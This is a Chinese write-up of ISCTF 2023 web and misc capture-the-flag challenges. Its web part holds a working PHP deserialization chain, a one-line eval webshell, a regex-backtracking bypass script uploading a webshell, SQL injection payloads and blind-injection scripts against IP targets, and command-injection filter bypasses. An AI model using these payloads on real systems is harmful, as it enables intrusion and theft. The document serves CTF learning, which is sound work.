web
圣杯战争
题目源码
<?php
highlight_file(__FILE__);
error_reporting(0);class artifact{public $excalibuer;public $arrow;public function __toString(){echo "为Saber选择了对的武器!<br>";return $this->excalibuer->arrow;}
}class prepare{public $release;public function __get($key){$functioin = $this->release;echo "蓄力!咖喱棒!!<br>";return $functioin();}
}
class saber{public $weapon;public function __invoke(){echo "胜利!<br>";include($this->weapon);}
}
class summon{public $Saber;public $Rider;public function __wakeup(){echo "开始召唤从者!<br>";echo $this->Saber;}
}if(isset($_GET['payload'])){unserialize($_GET['payload']);
}
?>
知识点:
__wakeup()
方法当使用
unserialize()
反序列化一个对象成功后,会自动调用该对象的__wakup()
魔术方法。
__invoke()方法
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
__get()方法
获取私有成员的属性值,它含有一个参数,即要获取的成员属性的名称,调用时返回获取的属性值,这个方法不需要手动调用,是在获取私有属性时自动调用的
__toString()方法
它是在直接输出对象引用时自动调用的方法
当我们调试程序时,需要知道是否得出正确的数据。比如打印一个对象时,看看这个对象都有哪些属性,其值是什么,如果类定义了toString方法,就能在测试时,echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据
代码审计
class artifact{
public $excalibuer;
public $arrow;
public function __toString(){
echo "为Saber选择了对的武器!<br>";
return $this->excalibuer->arrow; //目的是触发__get(),我们留意到这里调用了$excalibuer里的arrow属性,显然类prepare里没有arrow属性,丢到这里刚好能触发__get()
class prepare{
public $release;
public function __get($key){
$functioin = $this->release;//将 $this->release 属性赋值给了 $function
echo "蓄力!咖喱棒!!<br>";
return $functioin(); //在这里被当作函数调用,显而易见能把saber类丢给这里的$release
}
class saber{
public $weapon;
public function __invoke(){
echo "胜利!<br>";
include($this->weapon);//想要包含需要触发__invoke()的话需要找能把saber类当作函数触发的地方
}
class summon{
public $Saber;
public $Rider;
public function __wakeup(){
echo "开始召唤从者!<br>";
echo $this->Saber;//目的是触发刚刚第三层的tostring,这里有个echo
用php伪协议构造
payload
?payload=O:6:"summon":2:{s:5:"Saber";O:8:"artifact":2:{s:10:"excalibuer";O:7:"prepare":1:{s:7:"release";O:5:"saber":1:{s:6:"weapon";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}s:5:"arrow";N;}s:5:"Rider";N;}
解密即可得到flag
where_is_the_flag
题目
<?php
//flag一分为3,散落在各处,分别是:xxxxxxxx、xxxx、xxx。
highlight_file(__FILE__); //标准一句话木马~
eval($_POST[1]);
?>
提示了一句话木马密码为1,直接蚁剑连靶场,密码连1,进去就能看见flag1,根目录有flag2,
在这里看见
那我们先进入虚拟终端,然后cd /去到根目录,然后在根目录输出FLAG3 变量的值
将三个flag拼接一下即可得到完整的flag
绕进你的心里
题目
<?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';
$str = (String)$_POST['pan_gu'];
$num = $_GET['zhurong'];
$lida1 = $_GET['hongmeng'];
$lida2 = $_GET['shennong'];
if($lida1 !== $lida2 && md5($lida1) === md5($lida2)){ echo "md5绕过了!"; if(preg_match("/[0-9]/", $num)){ die('你干嘛?哎哟!'); } elseif(intval($num)){ if(preg_match('/.+?ISCTF/is', $str)){ die("再想想!"); } if(stripos($str, '2023ISCTF') === false){ die("就差一点点啦!"); } echo $flag; }
}
?>
通过数组绕过
?zhurong[]=1&hongmeng[]=2&shennong[]=3
网上找的通用回溯poc如下,需要对应不同题目改脚本:
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)
那我们改一下脚本,执行就得到了flag
payload
import requests
url = " "
data={
'pan_gu':'very'*250000+'2023ISCTF'
}
connect=requests.post(url,data=data)
print(connect.text)
easy_website
打开题目
尝试用admin/admin登录
发现用户名的框有SQL注入漏洞,单引号闭合,替换了or,过滤了空格
1' oorrder%09by%091#
爆数据库名
username=-1'ANANDD%09updatexml(1,concat(0x7e,(sELECT%09database())),1)
爆表名
1'ANANDD%09extractvalue(1,concat(0x7e,(selselectect%09group_concat(table_name)%09from%09infoorrmation_schema.tables%09where%09table_schema=database()%09limit%090,1),0x7e))
爆字段名
1'ANANDD%09extractvalue(1,concat(0x7e,(selselectect%09group_concat(column_name)%09from%09infoorrmation_schema.columns%09where%09table_name='users'%09limit%090,2),0x7e))
发现不能全部显示出来
知识点:
substring方法
是js字符串类的一个方法,用于从一个字符串中提取出一个子字符串。它可以指定截取的起始和结束位置,不包括结束位置的字符
具体用法见博客:
substring()方法-CSDN博客
爆表名payload,需要改变后substring两个的参数来拼接
username=-1'ANANDD%09extractvalue(1,concat(0x7e,substring((selselectect%09group_concat(column_name)%09from%09infoorrmation_schema.columns%09where%09table_name='users'),1,50),0x7e))#&password=admin
经过尝试发现flag在password字段里
payload:
username=-1'ANANDD%09extractvalue(1,concat(0x7e,substring((selselectect%09passwoorrd%09from%09users%09limit%092,1),1,80),0x7e))
得到flag
wafr
题目
<?php
/*
Read /flaggggggg.txt
*/
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__); if(preg_match("/cat|tac|more|less|head|tail|nl|sed|sort|uniq|rev|awk|od|vi|vim/i", $_POST['code'])){//strings die("想读我文件?大胆。");
}
elseif (preg_match("/\^|\||\~|\\$|\%|jay/i", $_POST['code'])){ die("无字母数字RCE?大胆!");
}
elseif (preg_match("/bash|nc|curl|sess|\{|:|;/i", $_POST['code'])){ die("奇技淫巧?大胆!!");
}
elseif (preg_match("/fl|ag|\.|x/i", $_POST['code'])){ die("大胆!!!");
}
else{ assert($_POST['code']);
}
用post传参
payload:
code=system("strings /f*")
ez_ini
选择文件上传,上传一个.user.ini
注意user前面有个 点
可以写入
auto_prepend_file=/flag
然后上传能直接有flag
web_include
用dirsearch扫描一下看看是不是源码泄露
发现了flag.php,index.bak
访问index.bak下载打开,得到
function string_to_int_array(str){
const intArr = [];for(let i=0;i<str.length;i++){
const charcode = str.charCodeAt(i);const partA = Math.floor(charcode / 26);
const partB = charcode % 26;intArr.push(partA);
intArr.push(partB);
}return intArr;
}function int_array_to_text(int_array){
let txt = '';for(let i=0;i<int_array.length;i++){
txt += String.fromCharCode(97 + int_array[i]);
}return txt;
}
const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(parameter))));
if(hash === 'dxdydxdudxdtdxeadxekdxea'){
window.location = 'flag.html';
}else {
document.getElementById('fail').style.display = '';
}
有一处是让一个小写字母转换为两个大写字母,我们需要逆向写一个脚本,这里就直接复制师傅的脚本
#include<stdio.h>
#include<string.h>
int main()
{
char b[100]="dxdydxdudxdtdxeadxekdxea";
for(int j=0;j<2;j++){
int tmp1=0,tmp2=0,sum=0,f=0;
//printf("%d\n",strlen(b));
for(int i=0;i<strlen(b);i++){
int tmp=(int)(b[i]-97);
f++;
if(i%2==0){
tmp1=tmp*26;
//printf("%d ",tmp1);
}
if(i%2!=0){
tmp2=tmp;
//printf("%d ",tmp2);
}
if(f==2){
printf("%c",tmp1+tmp2);
//printf("%d\n",sum);
sum++;
tmp1=0;
tmp2=0;
f=0;
}
}
//printf("%d",sum);
}
return 0;
}
用伪协议构造payload即可
payload
?mihoyo=php://filter/read=convert.base64-encode/resource=flag.php
fuzz
题目
<?php
/*
Read /flaggggggg.txt
Hint: 你需要学会fuzz,看着键盘一个一个对是没有灵魂的
知识补充:curl命令也可以用来读取文件哦,如curl file:///etc/passwd
*/
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = 'file:///etc/passwd';
if(preg_match("/\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\\\\|\'|\"|\;|\<|\>|\,|\?|jay/i", $_GET['file'])){ die('你需要fuzz一下哦~');
}
if(!preg_match("/fi|le|flag/i", $_GET['file'])){ $file = $_GET['file'];
}
system('curl '.$file);
[a-z]可以绕过任意一个字母,"|"没过滤可以放在开头结束前面的curl,然后再拼接系统命令
payload:
?file=|tac /fl[a-z]ggggggg.txt
?file=f{i}l{e}:///fla{g}gggggg.txt
1z_Ssql
用脚本跑一下
import requests i = 0 url = "http://43.249.195.138:20786/" result = "" for k in range (0,10):for j in range (1,100):l = 32r = 128mid = (l+r)>>1while (l < r):#爆库名payload ="1'^(ascii(substr(database(),{0},1))>{1})#".format(j,mid)#爆表名#payload = "1'^(ascii(substr((select table_name from information_schema.tables group by table_name having table_schema regexp database() limit {2},1),{0},1))>{1})#".format(j, mid,k)#爆字段#payload = "1'^(ascii(substr((select column_name from information_schema.columns where table_name='users' limit {2},1),{0},1))>{1})#".format(j, mid, k)#payload = "1'^(ascii(substr((select flag1 from limit {2},1),{0},1)>{1}))#".format(j,mid,k)response = requests.post(url=url,data={"username": payload, "password":"1","submit": "%E7%99%BB%E5%BD%95"})if "You are so smart!" in response.text:l = mid + 1# print(payload)#print(response.text)i +=1else :r = midmid = (l + r)>>1if (chr(mid) == " "):result = result + '\n'breakresult = result + chr(mid)#print(result)print(i) print(result)
爆了bthcls的库
再看看当时给的附件
由于name1里面有users,name2里面有username和password。
猜想name1为表名,name2为字段名来爆破:
将脚本中的database()改成select group_concat(username) from bthcls.users就可以了。
import requests
i = 0
url = "http://43.249.195.138:20786/"
result = ""
for k in range (0,10):
for j in range (1,100):
l = 32
r = 128
mid = (l+r)>>1
while (l < r):
payload ="1'^(ascii(substr((select group_concat(username) from bthcls.users),{0},1))>{1})#".format(j,mid)
response = requests.post(url=url,data={"username": payload, "password":"1","submit": "%E7%99%BB%E5%BD%95"})if "You are so smart!" in response.text:
l = mid + 1
# print(payload)
#print(response.text)
i +=1
else :
r = mid
mid = (l + r)>>1
if (chr(mid) == " "):
result = result + '\n'
break
result = result + chr(mid)
#print(result)
print(i)
print(result)
直接admin/we1come7o1sctf登录
获得flag
misc
你说爱我,尊嘟假嘟
打开文件
联想到ook编码
替换为
你说爱我 Ook.
尊嘟 Ook!
假嘟 Ook?
也可以利用脚本进行替换(这是网上找的师傅的脚本)
def convert_string(input_str):# 定义转换映射关系mapping = {"你说爱我": "Ook.","尊嘟": "Ook!","假嘟": "Ook?"}# 遍历字符串,进行转换for key, value in mapping.items():input_str = input_str.replace(key, value)return input_str# 测试示例
a = "你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我"
converted_str = convert_string(a)
print(converted_str)
然后解密即可得到flag
小蓝鲨的秘密
打开题目
用010打开,怀疑是伪加密
将两处
14 00 09 00
替换成
14 00 00 00
即可打开
打开flag.txt
图片调整高和宽度
出现key值
key:15CTF2023
AES解密一下即可得到flag
杰伦可是流量明星
用binwalk分离一下得到
打开流量包
直接筛选http协议,搜寻flag得到
url解码一下得到flag
flag{wddhr836459_83}
easy_zip
打开附件,直接用ziperello爆破一下密码看看
得到六位数字的密码
直接打开就得到flag
蓝鲨的福利
用010打开
是png文件缺少文件头
插入字节补上89 50 4E 47
文件头
旋转图片就得到了flag
小白小黑
打开文件
看师傅的做法是缩放到最小就隐约看到有二维码
我的缩放(好像不是那么明显。。。)
借用大佬的吧
然后复制颜色较深处数据 发现都是45678 那么将其替换为1 其余替换为0
然后转码扫码
01239转1
45678转0
有脚本,就试试脚本
from PIL import Imagestrings = open('output_without_newlines.txt','r').read()
print(strings)
pic = Image.new("RGB",(256,256))
num = 0
for x in range(256):for y in range(256):if strings[num] == '1':pic.putpixel((x,y),(0,0,0))else:pic.putpixel((x,y),(255,255,255))num = num + 1pic.show()save_path = "./output.png" # 图片保存路径,可以根据需要修改文件名和格式
pic.save(save_path)
print("图片已保存到当前路径: ", save_path)
得到二维码,扫码即可得到flag
(我自己得到的二维码是个歪的。。)
EZcrc
打开题目,里面的文件只有一部分是汉字
因为文件的原始大小都是3,所以这里用的是3字节的脚本(脚本用的是大佬的)
import zipfile
import binascii
import string
from tqdm import tqdmfname_fcrc = {}
fcrc_fnames = {}
fcrc_value = {}archive = zipfile.ZipFile("C:/Users/Lucian/Downloads/flag.zip")
print('正在提取crc:')
for fname in tqdm(archive.namelist()):name_info = archive.getinfo(fname)fcrc = name_info.CRCfname_fcrc[fname] = fcrcfcrc_fnames[fcrc] = []for fname in fname_fcrc:fcrc = fname_fcrc[fname]fcrc_fnames[fcrc].append(fname)print('正在破解3字节长crc')
